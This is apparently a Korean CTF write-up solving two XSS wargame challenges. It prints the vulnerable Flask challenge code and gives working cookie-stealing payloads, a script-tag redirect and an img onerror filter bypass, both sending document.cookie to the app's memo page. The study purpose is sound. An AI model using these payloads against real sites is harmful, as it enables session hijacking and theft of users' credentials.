웹해킹

XSS

pororo 2026. 9. 29. 22:17

XSS는 클라이언트 사이드 취약점 중 하나로, 공격자가 웹 리소스에 악성 스크립트를 삽입해 이용자의 웹 브라우저에서 해당 스크립트를 실행할 수 있다.


XSS에 종류

Stored XSS 악성 스크립트가 웹사이트의 데이터베이스(DB)에 영구적으로 저장됩니다.
Reflected XSS
악성 스크립트가 사용자의 요청에 포함되어 서버로 전송되었다가, 응답 화면에 그대로 "반사"되어 실행되는 방식입니다.
DOM-based XSS 웹사이트의 서버를 거치지 않고, 사용자의 브라우저 안에서 자바스크립트가 실행되는 과정(DOM 환경)에서 발생하는 취약점입니다.
Universal XSS 클라이언트의 브라우저 혹은 브라우저의 플러그인에서 발생하는 취약점으로 SOP 정책을 우회하는 XSS

 


이제부터 본격적으로 XSS에 관한 문제를 풀어 보도록 하자

그전에 우리가 알아야할 javascript구문이 있다. document는 자기의 주소 값을 참조 하는 명령어 이다.

여기서 우리가 배운 cookie 값을 Javascript 명령어로 불러 올수 있다 document.cookie를 하게 되면 자기 자신의 쿠키값과 세션 값을 모두 알려 준다. 

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    driver = None
    try:
        service = Service(executable_path="/usr/local/bin/chromedriver")
        options = webdriver.ChromeOptions()
        options.binary_location = "/usr/bin/google-chrome"
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        return str(e)
        return False
    finally:
        if driver is not None:
            driver.quit()
    return True


def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return param

    
@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)


app.run(host="0.0.0.0", port=8000)

이것이 전체 코드 이다. 여기서 우리가 주의 깊게 봐야 할 부분은 /memo부분이다. 여기서 코드를 잘 보면 우리가 요청 한 text 값을 그대로 반환 하는 것을 볼수 있다. 


여기서 우리가 주의 깊게 봐야할 코드이다.

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return param

보면 받은 값을 그대로 반환 하는것을 볼수 있다. 그리하여 param을 그대로 반환 하기 때문에 script를 이용하여 xss를 해보자 

 

그러면 /flag부분에서 script를 넣을 수 있는 입력 창이 있는데 여기에 어떻게 써야 하냐

<script>location.href="/memo?memo=" + document.cookie</script>

이런식을 하면 값을 얻을수 있게 된다 이게 어떤 역할을 하는지 보자면 <script>형식으로 요청을 보낼 것이고 location.href를 라는 주소로 받은 값을 띄우겠다. 근데 나에 쿠키 값을 포함해서 이기 때문에 document가 자기 주소 값에 있는 쿠키값을 알려 주는것이기 때문에 결국 flag가 있는 admin 부분에 쿠키값도 알려 주게 되어 /memo?memo=라는 내부 주소값에 flag 값을 알려 주게 된다.

 

 


XSS-2를 풀어 보자 

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/vuln")
def vuln():
    return render_template("vuln.html")


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)


app.run(host="0.0.0.0", port=8000)

여기서는 위에 xss-1과 다 똑같이만 한가지 다른 부분이 있다.

@app.route("/vuln")
def vuln():
    return render_template("vuln.html")

위에 보면 /vuln에서 아까는 받은 param을 그대로 반환 했다면 이번에는 vuln.html이라는 부분을 거쳐서 나오기 때문에 값이 바뀌게 된다. 또한 <script>를 통해서 값을 요청 할수 없도록 되어 있다. 

그리하여 우리는 이번에는 img 태그를 이용할것이다. 여기서 img태그를 쓴다고 하면 의아에 할수도 있다 xss가 Javascript를 통해서 cookie값이다 session값을 탈취 하는거 아니야 할수도 있다. 하지만 여기서 우리는 img태그를 진짜 img를 넣는 용도가 아니라 

실제로는 없는 임의에 주소 값을 알려준뒤 그 주소값이 없을 경우 실행되는 부분에 sciprt를 넣어서 실행 시킬 것이다. 

<img src="x" onerror="location.href='/memo?memo=' + document.cookie">

이런식으로 src에 일부로 잘못된 주소값을 알려주고 onerror에 우리가 실행 해야할 script구문을 넣어주게 되면 
/vuln을 우회 해서 flag 값을 알수 있게 된다.

'웹해킹' 카테고리의 다른 글

web-ssrf  (0) 2026.10.19
CSRF  (0) 2026.09.29
session  (0) 2026.09.25
session_basic  (0) 2026.09.25
Cookie  (0) 2026.09.25